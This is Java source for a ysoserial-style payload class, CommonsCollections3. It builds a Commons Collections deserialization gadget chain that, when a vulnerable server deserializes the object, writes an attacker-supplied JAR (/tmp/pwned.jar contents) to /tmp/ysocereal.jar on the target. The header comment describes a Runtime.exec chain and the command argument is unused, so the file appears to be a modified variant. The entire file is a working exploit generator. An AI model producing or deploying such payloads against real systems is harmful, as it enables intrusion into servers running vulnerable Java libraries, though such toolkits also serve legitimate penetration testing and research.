text: package ysoserial.payloads;
  
  import java.io.File;
  import java.io.FileInputStream;
  import java.lang.reflect.InvocationHandler;
  import java.util.HashMap;
  import java.util.Map;
  
  import org.apache.commons.collections.Transformer;
  import org.apache.commons.collections.functors.ChainedTransformer;
  import org.apache.commons.collections.functors.ConstantTransformer;
  import org.apache.commons.collections.functors.InvokerTransformer;
  import org.apache.commons.collections.map.LazyMap;
  import org.apache.commons.io.FileUtils;
  
  import ysoserial.payloads.annotation.Dependencies;
  import ysoserial.payloads.util.Gadgets;
  import ysoserial.payloads.util.PayloadRunner;
  import ysoserial.payloads.util.Reflections;
  
  /*
  	Gadget chain:	
  		ObjectInputStream.readObject()
  			AnnotationInvocationHandler.readObject()
  				Map(Proxy).entrySet()
  					AnnotationInvocationHandler.invoke()
  						LazyMap.get()
  							ChainedTransformer.transform()
  								ConstantTransformer.transform()
  								InvokerTransformer.transform()
  									Method.invoke()				
  										Class.getMethod()
  								InvokerTransformer.transform()
  									Method.invoke()
  										Runtime.getRuntime()
  								InvokerTransformer.transform()
  									Method.invoke()
  										Runtime.exec()										
  	
  	Requires:
  		commons-collections
   */
  @SuppressWarnings({"rawtypes", "unchecked"})
  @Dependencies({"commons-collections:commons-collections:3.1"})
  public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
  	
  	public InvocationHandler getObject(final String command) throws Exception {
  		final File f = new File("/tmp/ysocereal.jar");
          final byte[] bFile = FileUtils.readFileToByteArray(new File("/tmp/pwned.jar"));
  		
  		// inert chain for setup
  		final Transformer transformerChain = new ChainedTransformer(
  			new Transformer[]{ new ConstantTransformer(1) });
  		// real chain for after setup
  		final Transformer[] transformers = new Transformer[] {
  				new ConstantTransformer(FileUtils.class),
  				new InvokerTransformer("getMethod", new Class[] {
  					String.class, Class[].class }, new Object[] {
  					"writeByteArrayToFile", new Class[]{File.class, byte[].class} }),
  				new InvokerTransformer("invoke", new Class[] {
  					Object.class, Object[].class }, new Object[] {
  					null, new Object[]{f,bFile} }),
  				new ConstantTransformer(1) };
  
  		final Map innerMap = new HashMap();
  
  		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  		
  		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  		
  		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  		
  		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
  				
  		return handler;
  	}
  	
  	public static void main(final String[] args) throws Exception {
  		PayloadRunner.run(CommonsCollections3.class, args);
  	}
  }
  